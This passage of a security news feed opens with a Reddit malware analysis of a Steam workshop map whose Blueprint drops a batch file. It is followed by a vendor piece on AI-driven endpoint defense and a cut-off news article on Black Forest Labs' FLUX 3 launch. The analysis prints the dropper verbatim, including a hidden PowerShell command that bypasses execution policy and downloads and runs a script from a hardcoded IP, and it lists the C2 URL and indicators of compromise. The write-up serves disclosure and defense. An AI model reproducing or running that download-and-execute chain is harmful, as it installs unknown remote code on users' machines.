Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[4 ways AI-driven defense is rewriting the cybersecurity playbook]]></title>
<description><![CDATA[The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a...]]></description>
<link>https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a fundamentally different, AI-driven architecture: Agentic Endpoint Security (AES). </p>



<p class="wp-block-paragraph">AES represents a paradigm shift, moving security from a passive monitor to an active participant in the defense lifecycle. It provides the visibility and automated guardrails necessary to govern autonomous AI agents and agentic tools, ensuring that as your workforce scales with AI, your security posture remains unbreakable. </p>



<p class="wp-block-paragraph">With autonomous AI agents now capable of planning and executing multi-stage attacks at machine speed, the pressure on traditional security operations (SOC) has reached a breaking point. To survive this shift, the strategy is clear: we must fight AI with AI. </p>



<p class="wp-block-paragraph">Here is how AI-driven defense, pioneered by <a href="https://www.paloaltonetworks.com/cortex/cortex-xdr?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_1_xdr&amp;utm_content=7014u000001AZlHAAW&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPXs7KK66ZUDFU6Q7gEdcAAphg&amp;gad_source=7&amp;gad_campaignid=24059812534" target="_blank" rel="noreferrer noopener">Cortex XDR</a> and the era of <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_2_koi&amp;utm_content=701Ki000000h8oXIAQ&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPSG_NS66ZUDFbrKuAgd4vAYrw&amp;gad_source=7&amp;gad_campaignid=24059814223" target="_blank" rel="noreferrer noopener">Agentic Endpoint Security</a>, is fundamentally rewriting the cybersecurity playbook.</p>



<ol class="wp-block-list">
<li><strong>From reactive patching to proactive prevention </strong></li>
</ol>



<p class="wp-block-paragraph">For decades, the industry lived in a “wait-and-see” mode waiting for a vulnerability to surface, waiting for a signature, and then rushing to patch the hole. But reactive methods just don’t hold up against modern “frontier” AI attacks that are constantly morphing. </p>



<p class="wp-block-paragraph">AI-driven defense changes the game by shifting to a prevention-first architecture. Rather than relying on historical signatures, modern platforms deploy localized, ML-driven analysis to evaluate the intent and behavior of an active process, stopping threats pre-execution. Cortex XDR leads with a strict prevention-first approach by using AI-driven local analysis and behavioral threat protection; the XDR agent stops sophisticated threats pre-impact and pre-execution. This proactive stance reduces the overall risk profile by blocking malicious chains of events in real time across network, process, file, and registry activity. </p>



<p class="wp-block-paragraph">2. <strong>Eliminating the “agentic blind spot” </strong></p>



<p class="wp-block-paragraph">As we all rush to adopt generative AI and automated workflows, a new gap has appeared: the “agentic blind spot.” Adversaries are now targeting AI assistants and automated scripts to bypass defenses. Since these digital agents often have deep access to enterprise data, a compromise here lets attackers move completely under the radar. </p>



<p class="wp-block-paragraph">The new playbook requires securing this entire ecosystem. By combining the distinct capabilities of Cortex XDR and Koi Security, organizations can effectively close this gap. Koi Agentic Endpoint Security tracks everything from shell commands to prompts in real time, while Cortex XDR adds a layer of defense that identifies and neutralizes behavioral anomalies unique to these automated threats. </p>



<p class="wp-block-paragraph">3. <strong>Machine-speed detection and “attack storylines” </strong></p>



<p class="wp-block-paragraph">When an attacker can move through your network in seconds, human-led teams can’t keep up. To make matters worse, most systems just flood analysts with low-quality, isolated alerts, leading to major burnout. </p>



<p class="wp-block-paragraph">AI-driven defense fixes the investigation process by automatically stitching separate data points into a single, high-fidelity “attack storyline.” Cortex XDR uses thousands of machine learning detectors across endpoint, network, and cloud sources to group related signals into one cohesive case. This reveals the full story of an attack, letting your analysts focus on fast remediation instead of digging through piles of data, reducing alert noise by up to 98%. </p>



<p class="wp-block-paragraph">4. <strong>Surgical and autonomous response </strong></p>



<p class="wp-block-paragraph">The final piece of the puzzle is moving from manual remediation to autonomous action. AI-driven response lets your SOC handle threats in minutes, not hours. The platform can automatically revoke compromised tokens or isolate endpoints at machine speed. </p>



<p class="wp-block-paragraph">Cortex XDR delivers built-in enterprise-grade automation at no additional cost, providing over 120 out-of-the-box playbooks and 18 quick actions to handle up to 99% of incidents without manual intervention. Crucially, this level of automation requires an unbreakable foundation of agent resilience. To ensure the defense cannot be disabled by an adversary, Cortex XDR is certified in both the AVC EDR Detection and Anti-Tampering tests, successfully blocking all attempts to disable or modify the agent. </p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">The threat landscape is changing faster than ever, driven by AI-powered attackers who exploit even the smallest gaps. But you don’t have to stay on the defensive. By shifting to a proactive, AI-driven architecture like the one built into Cortex XDR, you can stop threats before they happen, secure your agentic workflows, and automate away the noise that leads to analyst burnout. </p>



<p class="wp-block-paragraph">The journey to a more resilient, AI-powered SOC doesn’t have to be daunting. With the right foundation in place, you’re not just keeping pace with the new threat landscape; you’re staying one step ahead. It’s time to move beyond the old manual playbook and embrace the future of security operations. </p>



<p class="wp-block-paragraph">To learn more about Palto Alto Networks, visit <a href="https://www.paloaltonetworks.com/" target="_blank" rel="noreferrer noopener">https://www.paloaltonetworks.com</a>.</p>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by 